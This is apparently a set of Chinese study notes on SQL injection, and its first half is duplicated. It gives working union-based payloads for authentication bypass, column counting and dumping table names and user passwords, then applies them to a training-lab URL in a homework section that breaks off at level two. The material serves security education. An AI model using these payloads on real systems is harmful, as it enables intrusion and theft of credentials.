SQL注入产生的原理
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
SQL注入的本质
把用户输入的数据当做数据库语言来执行,违背了数据与代码分离的原则
SQL注入的两个关键点
1. 用户能够控制输入的内容
2. web应用能够把用户输入的数据带入到数据库中查询
SQL注入的危害
● 盗取网站的铭感信息
● 绕过后台登录认证
万能密码 ' or '1' = '1' #
● 借助SQL注入漏洞提权
● 读取文件信息
SQL注入的分类
根据注入位置分类:GET型、POST型、Head头注入 根据反馈结果分类:有回显(显错注入)、无回显(盲注) 根据数据类型分类: 数字型:输入的参数为整型,如id、年龄、页码等 字符型:输入的参数为字符串 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要弹引号闭合。
SQL这入的流程
1. 寻找SQL注入点
2. 判断闭合方式
?id = 1asdfa
有报错:数字型,无闭合或)闭合
无报错:字符型 ——>> 再判断闭合方式 ' " ') ')) ")
3.验证漏洞
?id=1 and 1=1 —+ 正常显示
?id=1 and 1=0 —+ 无显示
4.判断列数
?id=1' and 1=1 order by 1 —+ 回显正确
?id=1' and 1=1 order by 2 —+ 回显正确
?id=1' and 1=1 order by 3 —+ 回显正确
?id=1' and 1=1 order by 4 —+ 回显报错,说明只有3列
?id=1' and 1=1 order by .... —+
5.判断回显位
?id=0' and 1=1 union select 1,2,3 —+
6.回显位的位置注入SQL语句查询数据库名,数据库版本信息
?id=0' and 1=1 union select 1,database(),3 —+
?id=0' and 1=1 union select 1,version(),3 —+
7.回显位的位置注入SQL语句查询表名
?id=0' and 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3 —+
注意:数据库这里可以直接写database(),也可以写上面查询出来的表名security
8.回显位的位置注入SQL语句查询字段
union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='users' ) --+
9.回显位的位置注入SQL语句查询字段值
?id=0' and 1=1 union select 1,(select group_concat(id,password) from users),3 —+
SQL注入盲注的分类
基于时间延迟的盲注
基于布尔判断的盲注
基于报错显示的盲注
SQL注入常用的函数
substr(string,start,length)
SQL注入产生的原理
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
SQL注入的本质
把用户输入的数据当做数据库语言来执行,违背了数据与代码分离的原则
SQL注入的两个关键点
1. 用户能够控制输入的内容
2. web应用能够把用户输入的数据带入到数据库中查询
SQL注入的危害
● 盗取网站的铭感信息
● 绕过后台登录认证
万能密码 ' or '1' = '1' #
● 借助SQL注入漏洞提权
● 读取文件信息
SQL注入的分类
根据注入位置分类:GET型、POST型、Head头注入 根据反馈结果分类:有回显(显错注入)、无回显(盲注) 根据数据类型分类: 数字型:输入的参数为整型,如id、年龄、页码等 字符型:输入的参数为字符串 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要弹引号闭合。
SQL这入的流程
1. 寻找SQL注入点
2. 判断闭合方式
?id = 1asdfa
有报错:数字型,无闭合或)闭合
无报错:字符型 ——>> 再判断闭合方式 ' " ') ')) ")
3.验证漏洞
?id=1 and 1=1 —+ 正常显示
?id=1 and 1=0 —+ 无显示
4.判断列数
?id=1' and 1=1 order by 1 —+ 回显正确
?id=1' and 1=1 order by 2 —+ 回显正确
?id=1' and 1=1 order by 3 —+ 回显正确
?id=1' and 1=1 order by 4 —+ 回显报错,说明只有3列
?id=1' and 1=1 order by .... —+
5.判断回显位
?id=0' and 1=1 union select 1,2,3 —+
6.回显位的位置注入SQL语句查询数据库名,数据库版本信息
?id=0' and 1=1 union select 1,database(),3 —+
?id=0' and 1=1 union select 1,version(),3 —+
7.回显位的位置注入SQL语句查询表名
?id=0' and 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3 —+
注意:数据库这里可以直接写database(),也可以写上面查询出来的表名security
8.回显位的位置注入SQL语句查询字段
union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='users' ) --+
9.回显位的位置注入SQL语句查询字段值
?id=0' and 1=1 union select 1,(select group_concat(id,password) from users),3 —+
SQL注入盲注的分类
基于时间延迟的盲注
基于布尔判断的盲注
基于报错显示的盲注
SQL注入常用的函数
substr(string,start,length)
mid
left(string,n)
ord(char)
ascii(str)
将字符串转化为ascii值
length(string)
截取字符串的长度
ifnull(str1,str2)
靶场
作业:
第一关:基于数字的注入
http://120.27.61.239:8007/source/index.php?id=1
判断显示位
http://120.27.61.239:8007/source/index.php?id=0
+UNION+ALL+SELECT+1,2,3
--+
获取数据库 数据库版本
http://120.27.61.239:8007/source/index.php?id=0
+UNION+ALL+SELECT+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())
--+
获取数据库里面的表
http://120.27.61.239:8007/source/index.php?id=0
+UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE())
--+
获取数据库表里面的字段
http://120.27.61.239:8007/source/index.php?id=0union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3
--+
获取字段里面的值
http://120.27.61.239:8007/source/index.php?id=0union select 1,(select group_concat(id,0x7e,password,0x7e)from users),3 --+
第二关:基于字符得注入